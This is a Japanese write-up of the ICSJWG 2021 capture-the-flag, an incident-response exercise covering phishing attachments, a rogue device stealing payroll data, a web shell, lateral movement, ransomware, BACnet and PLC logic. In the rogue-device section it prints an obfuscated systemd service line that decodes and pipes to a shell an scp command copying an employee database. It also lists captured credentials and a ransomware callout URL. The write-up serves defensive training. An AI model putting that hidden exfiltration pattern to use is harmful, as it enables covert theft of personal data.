ICSJWG Capture the Flag 2021 writeup

Writer:b1uef0x / Webページ建造途中

概要

ICSに特化したニッチなCTFに参加したので結果まとめ。21日の午後から6時間程度解いてみたが比較的解きやすい問題が多かった。単騎で挑戦し、順位は85チーム中16位であった。

Scoreboards

企業ネットワーク及びICSに対するサイバー攻撃が発生した想定で問題ごとにシナリオを順番に進める形式。CTFとしてはフォレンジック中心で、どちらかといえばCSIRT向けのテーマか?

回答回数に制限がかかっており、10回(ICS Logic Changesは5回)間違えるとそれ以上回答できなくなり、シナリオを進めることもできなくなる。前の問題を回答しないと次の問題は表示されないため、全体の問題数などは不明。

CTF Introduction
本CTFではネットワークトラフィック分析ツールのMalcolm( https://github.com/cisagov/Malcolm )を使う。このツールへのログインなどを行う準備問題。
Crossword
ICS関連知識のクロスワードパズル問題。今回は手を付けなかった。
Phishing
フィッシングメール攻撃を調査するシナリオ。
Rogue Device Found
ネットワーク内に設置された不正なデバイスを調査するシナリオ。
Traffic Analysis
ネットワークへの侵入を調査するシナリオ。
Ransomware
ネットワーク内のコンピュータに仕掛けられたランサムウェアを解析するシナリオ。
BACnet Messages
Building Management Introductionを読むと開放される。ビル管理システム内でBACnet通信を行うデバイスが侵害されるシナリオ。
Compromised HMI
Building Management Introductionを読むと開放される。ビル管理システムのHMIを使用するシナリオ。
ICS Logic Changes
Building Management Introductionを読むと開放される。PLCのプログラミングに使うST言語やラダー言語の問題。

Phishing

全3問で完答できた。すべてフォレンジック問題である。

Phishing - 1 (100 point)

Last week, one of our employees flagged an email they received as potential phishing and submitted it to our IT department. The employee reported that the file attached to the email exhibited odd behavior.

What is the md5 hash of the PDF file attached to the email?

従業員が受信したフィッシングメール「mandatory_it_survey.eml」が配布され、中に含まれるPDFのMD5ハッシュ値を求める問題。

電子メールの表示
\CTF\ICSJWGCTF2021\Phishing-1>certutil -hashfile mandatory-it-survey.pdf md5
MD5 ハッシュ (対象 mandatory-it-survey.pdf):
d709440a6b7ca2d3256abb7df309d057
CertUtil: -hashfile コマンドは正常に完了しました。

Phishing - 2 (100 point)

When questioned about the survey form attached to the phishing email, the employee admitted that they had panicked and filled out the form. It wasn't until after following the instructions in the email that the employee became suspicious and forwarded the email to the IT department.

At this point, our IT department is certain that the email was a phishing attempt, but they would like to know more about this attack and determine its impact.

What is the email address contained in the javascript that is embedded in the fillable form?

電子メールに添付されている「mandatory-it-survey.pdf」は送信フォームになっており、内部に含まれる送信先のメールアドレスを見つける問題。

ChromeでPDFを開いて開発者モードで動作させれば、コンソールにmailtoの中身が出てくるのでアドレスが判明する。champ-lance@gotmalware.com

mandatory-it-survey.pdf表示

Phishing - 3 (300 point)

After confirming that the email was a malicious phishing attempt, we sent an announcement warning employees to be aware of phishing attempts and forward any suspicious emails to IT.

Sure enough, another employee forwarded an email that she received last week, supposedly from our payroll department.

What is the md5 hash of the executable embedded in the email attachment?

別の従業員が受け取ったフィッシングメールが見つかり、添付されているPDFファイルの中に埋め込まれている実行ファイルのMD5ハッシュ値を求める問題。「urgent_payroll_update.eml」が配布される。

電子メールの表示

添付ファイルとして「urgent_payroll_alert.pdf」があるので、これをバイナリエディタで開き、PDFのオブジェクトストリームから埋め込まれたファイルを抽出する。

urgent_payroll_alert.pdfのオブジェクトストリーム

オブジェクトストリームを見ていくと、burnedTower.exeを出力するストリームデータが見つかる。先頭のCF FA ED FEはMach-O binary (reverse byte ordering scheme, 64-bit)形式の実行ファイルを表すシグネチャなので、これを抽出する。抽出したファイルのMD5ハッシュをとれば終了。

\ICSJWGCTF2021\Phishing-3>certutil -hashfile output md5
MD5 ハッシュ (対象 output):
2c96f7c120fb8d8d1636e6bad58fc25c
CertUtil: -hashfile コマンドは正常に完了しました。

Rogue Device Found

全5問で完答できた。Malcolmを使ったトラフィック分析とフォレンジックの問題である。

Rogue Device Found - 1 (100 point)

Multiple employees have reported concerns that lead us to believe someone has compromised our payroll system and is currently extracting employee payroll information from the HR network.

Our HR department operates on their own subnet, and we have not seen any indications that HR computers have been compromised.

Using our Malcolm instance and the attached network diagram, can you determine the IP address of any "rogue" device within our HR subnet?

人事部門のサブネット内に含まれる不正なデバイスのIPへのアドレスを調査する問題。HR networkの構成図が配布されるので、図にないデバイスを見つけ出す。

HR network

Malcolm上で通信パケットを絞り込み検索する。人事部門のサブネットは10.70から始まるので、ip.dst == 10.70でパケットを検索する。

Malcolmでの絞り込み検索結果

すると外部のIPアドレスからアクセスされているデバイスが見つかる。10.70.5.143

なお今回は検索結果のパケットを見ていったが、SPIViewを使うと検索結果に含まれるIPアドレスを列挙してくれるので、そちらのほうが簡単だろう。

Rogue Device Found - 2 (100 point)

The rogue device that you identified is communicating with an external IP address over FTP. Based on this, we believe the device is being used to exfiltrate payroll information from our internal network.

Some of the contracts we have require us to immediately report a possible exposure of PII (Personally Identifiable Information). We need to determine what information has been disclosed and notify our contractors accordingly. Your task is to try and access the remote FTP server and see whether the exfiltrated information is still there.

Can you determine the username and password used to transfer the file via FTP?

Note: The flag format is username:password.

見つかった不正なデバイスは外部サーバーとFTP通信を行っている。FTP通信はログイン情報を暗号化しないため、トラフィックログから使用されているユーザー名とパスワードを見つけ出す問題。

Malcolm上でFTP通信パケットを絞り込み検索する。port.dst == 21でFTPの制御コネクション通信を見つける。

FTPの制御コネクションのパラメータ表示

見つかったパケットのパラメータを表示させると、UserとPasswordが見つかる。murkrow:n1ght_Sh@d3

Rogue Device Found - 3 (200 point)

Unfortunately, it appears that the FTP server is no longer up and running as we have not been able to connect to it. We still need to determine who was affected by the data breach because the agreements we have only require us to notify contractors in the engineering and R&D departments.

Luckily, we have another option for identifying the stolen information and determining who was affected. A copy of the file that was transferred was captured in Malcolm and can be found at https://malcolm.icsjwgctf.com/extracted-files/.

Based on the transferred FTP file, how many contractors who work in either the engineering or R&D departments have had their information compromised?

FTPで外部に転送されたファイルはMalcolmでキャプチャーされている。キャプチャデータに含まれる従業員情報のうち、Engineering部門またはR&D部門の人数を調べる問題。

Malcolmのキャプチャデータにある「FTP_DATA-FroFWm1r7uInQmyCw7-Cy1Kw53wLGhbZZ0zzf-20210416201857.gz」を解凍するとバイナリデータが出てくるので中身を確認する。

キャプチャデータ

キャプチャデータはデータベースファイルのようだが余計なデータが付いていてそのままでは読めない。0x200のSQLite format 3の部分以降を切り取ればデータベースファイルを開くことができる。

SQLデータ表示

Employee列がContsractorかつDepartment列がR&DまたはEngineeringの人数を数えると24人になる。

Rogue Device Found - 4 (200 point)

The next step in the investigation is to perform forensics on the rogue device. We would like to determine whether the attacker stole other information that was not captured by Malcolm.

We believe the attacker is using the same username and password combination you provided us from the FTP transfer, but when we attempt to SSH into the device we are kicked out and port scanning reveals that port 22 is not open.

We have observed that the attacker (IP address 16.170.9.104) sends a weird sequence of packets before and after they establish an SSH connection. This appears to be a dynamic port knocking sequence, as the sequence of ports the attacker accesses is different each time.

Can you determine the next sequence of ports that will allow us to open port 22 on the rogue device?

Note: The flag format is Port1:Port2:Port3:Port4 (For example, the flag for the first port knocking sequence the attacker used would be 4369:33799:29430:30064).

外部の攻撃者が不正なデバイスとSSH接続を確立する際にポートノッキングを使用している。通信確立のためにノックするポートは4つで、毎回ポート番号が変化している。過去のノッキング情報から次にどのポートをノックすれば接続できるかを突き止める問題。

Malcolm上においてip.src == 16.170.9.104で攻撃者からの通信パケットを検索すると、過去6回ポートノッキングを行っていることがわかるので、使われたポート番号から規則性を見つけ出す。

1回目2回目3回目4回目5回目6回目規則性次回
post 1 4369 878813107174762184526214前回port+436930583
post 2337994690042533535864921962320奇数回は前回port-436757953
post 3294303816229426361102737436106奇数回は前回port-873627370
post 430064257103006425710300642571030064と25710の交互30064

よって次回ではポート30583,57953,27370,30064の順にノックすれば通信を確立できる。

Rogue Device Found - 5 (300 point)

That worked! We were able to successfully SSH into the rogue device using the port knocking sequence and credentials you provided. While logged in to the device, we collected a partial image of the file system, which we would like you to analyze.

We know the attacker was using SCP to extract files from our internal databases, but logging is not enabled on those servers so we don't know what credentials the attacker used to gain access. It is possible that the attacker set up an automated task or script containing the username that they used for SCP.

Employees who need access the database are provided auto-generated usernames that match their employee IDs. Based on how easily the attacker navigated the HR network and identified information of value, we believe they are likely an insider. If you can find the username the attacker is using, that should reveal their identity.

What is the name of the employee who is stealing information from Azalea Power?

判明したポートノッキングパターンを使って不正なデバイスに接続してデバイス内のファイルを収集した。攻撃者はSCPを使用して内部のデータベースからファイルを抽出したことがわかっており、インサイダーの可能性が高いため、どの従業員の資格情報を使用していたかを調べる問題。

rogue_device_image.tar.xzが配布され、Linuxのファイルシステムの/etc/以下が含まれている。接続されていたデバイスはRaspberry Piのようだ。

SCP接続が自動実行に登録されている可能性が高いため、それらの箇所を重点的に調べる。

すると/etc/systemd/system/network-offline.target.wants/network_offline.serviceに難読化されたコマンドが見つかる。

ExecStart=/usr/bin/base32 -d <<< ONRXAIBSGAYTQMJQIAYTALRXGAXDKLRSHIXWQ33NMUXWQ5LNMFXF64TFONXXK4TDMVZS6ZDBORQWEYLTMVZS6ZLNOBWG66LFMVPWIYLUMEXGIYRAF5UG63LFF5WXK4TLOJXXOLY= | /bin/sh

base32をデコードする。

scp 201810@10.70.5.2:/home/human_resources/databases/employee_data.db /home/murkrow/

ユーザー名が201810であることがわかったので、Rogue Device Found - 3で使用した従業員のデータベースから従業員ID:201810の従業員名を調べる。

従業員名

攻撃者が使用した資格情報の従業員名はArianaとなる。

Traffic Analysis

6問目まで解いた。Malcolmを使ったトラフィック分析である。

Traffic Analysis - 1 (100 point)

On Friday, our network analysts received an alert about a potential vulnerability, CVE_2020_1350. Initially, the analysts disregarded the alert. However, after the fire suppression incident occurred in the server room, the analysts began re-examining the network traffic and have identified the alert as something that merits further investigation.

We would like you to take a closer look at the traffic that caused the alert and provide us more information.

What is the destination IP address associated with the Zeek notice for CVE_2020_1350?

Hint: Utilize Filter by Value in the Kibana Notices Dashboard in Malcolm.

サーバールームで発生した消火設備の作動事象に関連して、脆弱性CVE_2020_1350のアラートを調べる問題。Malcolm上でCVE_2020_1350の通知を検索すればよい。

CVE_2020_1350のアラート検索結果

宛先IPアドレスは192.168.50.128

Traffic Analysis - 2 (100 point)

Thank you for investigating the alert. Our corporate IT team examined the host you identified and determined that the issue was caused by a misconfiguration rather than an attack.

However, while looking into this, our corporate IT team found evidence that the attacker may have gained access to the network through our internal company website (www.azaleapower.com). This is concerning; Our internal website is hosted locally and should not be accessible from outside our network.

What is the external IP address that accessed our internal web server on Friday?

Hint: This information can be found using the Kibana HTTP dashboard in Malcolm.

CVE_2020_1350のアラートの問題は攻撃ではなかったが、新たに外部の攻撃者が内部Webサイトにアクセスした痕跡が見つかった。金曜日に内部Webサーバにアクセスした外部IPアドレスを調べる問題。

検索するだけ。

内部Webサーバーへのアクセス検索結果

IPアドレスは217.147.184.12

Traffic Analysis - 3 (100 point)

We believe the attacker was able to make a change to our webpage to allow them to gain access into our internal network.

Our Malcolm instance is set to extract files it sees over the network, including HTML files. Extracted files from Malcolm can be found at https://malcolm.icsjwgctf.com/extracted-files/

Can you determine the name of the div within the HTML file that allowed the attacker to gain access?

攻撃者が内部Webサイトを改ざんして内部ネットワークにアクセスできるようにした可能性があるため、改ざん部分を調べる問題。

改ざん後のファイルが含まれた通信

Malcolmのキャプチャーデータから落とせと書いてあるが、改ざんされたWebサイトが含まれてそうなサイズのパケットをpcapファイルをダウンロードして調べた。

Wiresharkで表示させたデータ

phpのWebshellが見つかった。回答はWebshellが挿入されているdivタグのname属性で、RadioTower

Traffic Analysis - 4 (100 point)

After the attacker established an initial foothold in the corporate IT network using the PHP web shell you discovered, we believe they used additional (and different) lateral movement techniques to gain access to another machine.

What is the IP address of the host the attacker pivoted to?

前問で攻撃者がWebサーバに仕掛けたWebshellが見つかったので、これを使って横展開を行ったと考えられる。攻撃者が横移動したアクセス先のIPアドレスを調べる問題。

Webサーバ(192.168.50.13)から内部ネットワーク(192.168)への通信ログを検索する。通常Webサーバから端末へのアクセスは起きないので、目立つはず。

横展開の通信ログ 横展開による攻撃のログ

IPアドレスは192.168.50.150

Traffic Analysis - 5 (100 point)

Thank you for identifying the host the attacker pivoted to. Unfortunately, that machine is a jump box that is connected to both our corporate and building management networks. Now that we know how the attacker gained access to the building management network we are one step closer to finding out whether they activated the fire suppression system.

We would like you to determine what the attacker did while they were connected to the jump box.

What PowerShell function did the attacker execute on host 192.168.50.150?

前問でWebサーバから移動したIPアドレスは企業と建物の管理ネットワークに接続されており、攻撃者が建物の管理ネットワークにアクセスした方法がわかったため、続いてこのIPアドレスの端末上で実行されたPowershellスクリプトの機能を調べる問題。

Malcolm上でps1ファイルを転送しているログを調べると見つかる。ps1ファイルはMalcolmがキャプチャしたデータに含まれている。

Powershellスクリプトの転送ログ Malcolmのキャプチャデータ

ps1ファイルの中身は以下の通り。

$ErrorActionPreference='SilentlyContinue'
New-NetRoute -DestinationPrefix "10.80.9.0/24" -InterfaceAlias Ethernet2 -NextHop 10.80.9.215
echo "Route Added"

使用された機能はNew-NetRouteとなる。

Traffic Analysis - 6 (100 point)

Due to a power outage, one of our network taps shut down and is missing a number of logs. As a result, we lost visibility into a portion of the network for a period of time.

What is the name of the tap that did not push data to our Malcolm appliance?

停電が原因でネットワークタップの一つからのログが取得できていない。該当するタップを調べる問題。

ネットワーク構成図が配布される。

ネットワーク構成図

構成図を見るとネットワークタップはA~Dの4つあるので、各タップの接続先ネットワークからのトラフィックを調べて、トラフィックが見つからないものを探す。

トラフィックのないネットワーク

10.100.30.0のネットワークからの通信パケットが見つからないのでこれが当たり。TapDである。

Traffic Analysis - 7 (200 point)

Great work identifying the tap that shut down on the Goldenrod network. Our IT team investigated firewall logs and determined that one of the wireless access points was communicating with a suspicious IP address. To fill in our knowledge gaps, IT collected KAPE captures from four hosts that were connected to the wireless access point they identified.

The connection attempt we are interested in originates in the internal subnet and regularly reaches out to an external IP address.

What information can you determine about this communication? In particular, we want to know what IP address the external traffic is being sent to, any passwords or credentials associated with the connection, and the hostname of the infected machine that is regularly reaching out.

Note: The flag format is IP:Password:HostName

Example, given an IP address 192.168.0.57, password of password, and hostname AP-G-000, the flag would be 192.168.0.57:password:AP-G-000

ワイヤレスアクセスポイントの一つから疑いのある通信が検出された。該当ワイヤレスアクセスポイントに接続されている端末の情報を収集したので、該当端末を探す問題。

4つの端末のWebブラウザ履歴、autorun、DNSキャッシュ、タスクスケジューラ、システム情報の収集ファイルが配布される。

精査する時間がなく回答できなかった問題。Malcolmの通信ログとの照合が必要だが、AP-Gのホスト名が含まれるパケットは引っかからなかった。

Ransomware

ランサムウェアの解析問題。解きたかったがランサムウェアの動作をすぐに確認できなかったため、正解できず。

Ransomware - 1 (100 point)

Last week, an employee in the accounting department reported that they were unable to open a spreadsheet containing contract numbers and financial records that they had been working with. They found a ransom note alongside the broken spreadsheet and called the IT help desk. After investigating further, the IT department discovered a suspicious executable located in the employee's startup folder named alph.exe.

We need your help determining what this executable does and whether or not we can recover the original spreadsheet without paying the attacker.

The IT department determined that ransomware used two different strings to encode the target file. What is the embedded local string that alph.exe uses in the encoding process?

従業員の端末で使用されたランサムウェアの検体がファイルの暗号化に使用する文字列を回答する問題。ランサムウェア本体の実行ファイル、暗号化されたファイル、脅迫メッセージファイルが配布される。

CTF終了後に調べたところ、ランサムウェアalph.exeは実行させるとC:\Users\Jasmine\Documents\ContractObligations.xlsxを取得しようとして、見つからなかった場合はエラーで終了する。該当パスにファイルを用意すると今度は52.47.0.5:8000に通信を試み、このアドレスは有効ではないためエラー終了する。したがってこのあたりをスキップさせればデバッガー上で暗号化動作を確認できるはず。

Ghidraで解析するとより直接的に文字列を確認できた。

Ghidraで確認した文字列

どうやらアクセス先はhttp://52.47.0.5:8000/srv.txtのようだ。ランサムウェアは2つの文字列を持っており、片方を暗号化時に使用するということなので、ここに含まれているEchosSinkの2つが該当して、これが答えだったかもしれない。

BACnet Messages

ビル管理システムで使用されるBACnet通信に関する問題。2問解いた。

BACnet Messages - 1 (100 point)

At this point, we have determined that the attacker used the jump box you identified to get into our BACnet network, but we have not identified any BACnet traffic coming from that host.

It appears that the attacker compromised one or more additional hosts within our building management subnet and has been using one of these hosts to send BACnet messages. We have three hosts that routinely scan our BACnet devices, but there appears to be a fourth that also performed a BACnet scan of our devices.

Can you determine the IP address the attacker sent their BACnet messages from?

攻撃者はビル管理システム内のホストを侵害して定期的にBACnet通信を行っている。攻撃者がBACnetメッセージを送信したIPアドレスを探す問題。

ビル管理システム内のホストは定期的にBACnetメッセージを送信しているが、攻撃者はこれらのホストのうちの一つから追加でBACnetメッセージを送信しているため、メッセージの送信回数が通常よりも多くなっているはずだ。

BACnetメッセージの送信回数

Malcolmで送信元IP別の統計データを表示する。他のホスト(290回)よりも多い1287回を送信している10.80.9.28が答え。

BACnet Messages - 2 (100 point)

Before attempting remediation for the compromised hosts, we need to determine more information about the attacker's activity. In particular, we would like to know how the attacker is accessing the compromised host and using it to send BACnet traffic. Our system administrators captured output from Process Explorer and TCPView that we would like you to analyze.

What is the PID of the process the attacker is using to send BACnet messages?

侵害されたホストが判明したので、攻撃者がBACnetメッセージを送信するために使用しているプロセスを特定する問題。

ProcessExplorerの出力とTCPViewが配布される。TCPViewを開いて、BACnetが使用するポート47808を使用しているプロセスを調べる。

TCPView内のポート47808使用プロセス

notepad.exeがBACnetのポートで通信していることがわかったので、ProcessExplorer出力からPIDを調べる。

Process	CPU	Private Bytes	Working Set	PID	Description	Company Name
notepad.exe	2,728 K		16,212 K	11520	Notepad		Microsoft Corporation

BACnet Messages - 3 (100 point)

While we work on making a remediation plan, we would like you to gather additional information about the building management network. Evidently, the database that contains the building management and BACnet device information has not been updated in over two years. This is an item of concern, since old devices may have been retired and new devices may have been added in that time frame.

In particular, we are concerned about identifying new, legitimate devices that are present on the building management network because we see one communicating in the BACnet traffic.

Using the BACnet traffic and the provided JSON file, can you determine the name of the BACnet object that exists in the BACnet traffic but not our inventory list?

BACnetで通信を行うデバイスが後から増設された可能性があるため、既存のデータベースと照合して新たなデバイスを見つける問題。

デバイスリストとしてbacnet_devices.jsonが配布される。調べたところトラフィックデータ内でデバイス名が検索に引っかからなかった。

Compromised HMI

ビル管理システムのデバイスを制御するために使用するHMIに関する問題。1問解いた。

Compromised HMI - 1 (100 point)

After the servers began shutting down and the server room filled with water, we discovered that we were no longer able to log in to the building management HMI using the username "engineer" and the password the system was configured with.

We believe the attacker may have compromised the HMI and made changes to it. We would like to log in as the user "engineer", but it seems like the attacker has changed the password. Luckily, we were able to extract a copy of the HMI program binary before the system locked us out.

Can you determine the password that can be used to log in as the user "engineer"?

Note: hmi_coolant is a Linux binary that is safe to run on your local machine. Once running, you can communicate with your local instance of the HMI software via:nc localhost 5050

サーバールームが水没してしまい、ビル管理HMIにユーザー名「Engineer」でログインできなくなった。システムロックアウト前に改ざん後のHMIプログラムを入手したため、「Engineer」のパスワードを調べる問題。

配布されるLinux用バイナリファイルhmi_coolantをGhidraに食わせてログインチェック関数の逆コンパイル結果を見る。

check_loginのdecompile

EngineerのパスワードはENTEIc1ng

Compromised HMI - 2 (100 point)

The HMI software sends CAN messages to various controllers (PLCs) in the building management network to open and close valves and check their current statuses. We would like to be able to send CAN "check status" messages from another application within our building management network.

Can you determine the CAN ID and data this HMI software sends to poll controllers for their status?

Note: Flag format is CAN-ID:Data

Example - the flag for a CAN message to ID 0xabc with data 0xde 0xad 0xbe 0xef would be abc:deadbeef).

HMIアプリケーションがCANメッセージでステータス確認メッセージを送信する際に使用するCANIDとデータを特定する問題。

CTF中はメッセージの送信ができずに断念したが、hmi_coolantは接続できなくて当然の仕様であるため、リバースエンジニアリング的な手法でPLC(プログラマブルロジックコントローラ)に送信するバイト列を特定した上で、CANメッセージのフォーマットと比較する必要があると考えられる(面白い問題だったかもしれない)。

ICS Logic Changes

PLC(プログラマブルロジックコントローラ)などで使用するプログラミング言語の問題。1問解いた。総当りを防ぐために入力回数制限が厳しく、5回間違えるとおしまい。

ICS Logic Changes - 1 (200 point)

It is possible that the fire suppression system could have been activated due to errors within our ICS logic programs.

In the initial investigation, we observed that several of our ICS device programs are currently producing syntax errors. We would like to know what is causing these errors and whether they are the result of an attack or just misconfigurations.

Please follow the instructions in the attached document to identify which programs produce syntax errors.

ICSのロジックエラーが原因で消火システムが動作した可能性があり、各プログラムのうちどれが構文エラーとなるか回答する問題。

正直なぜ正解できたのかよくわからないが、ics_programs_syntax_errors.pdfが配布され、ProgramA~Lまでで構文エラーを含むものを見つける。

ProgramA

ProgramAは構文エラーなし。ブーリアン変数同士の代入。

ProgramB

ProgramBは構文エラーあり。ST言語の代入は:=を使用する。

ProgramC

ProgramCは構文エラーあり。office_sensor_hはブーリアン変数なので数値比較はできない。

ProgramD

ProgramDは構文エラーなし。ブーリアン変数同士のAND演算。

ProgramE

ProgramEは構文エラーなし。ラダー言語でbathroom_motionの反転値をbathroom_lightsに代入。

ProgramF

ProgramFは構文エラーなし。3つのmotionの反転値をOR条件でhall_lightsに代入。

ProgramG

ProgramGは構文エラーあり。#はコメントではない。

ProgramH

ProgramHは構文エラーあり。AND演算子の&&はANDとする。

ProgramI

ProgramIは構文エラーあり。FORループはFOR TO DOとする。

ProgramJ

ProgramJは構文エラーなし。

ProgramK

ProgramKは構文エラーなし。

ProgramL

ProgramLは構文エラーなし。

ICS Logic Changes - 2 (200 point)

Thank you for identifying the programs that were causing syntax errors. Since you were so helpful with finding those errors, we would like you to look at another set of older programs that were recently converted from structured text to function block diagrams and ladder logic.

Please follow the instructions in the attached document to identify the programs that were not converted correctly.

ST言語に対応するラダー言語及びブロックダイヤグラムが同一のロジックでないものを回答する問題。

ProgramA~Gまであり、最初の問題よりもプログラムが複雑になっている。5ミスで終了した。正解できなかったしとても長いので省略する。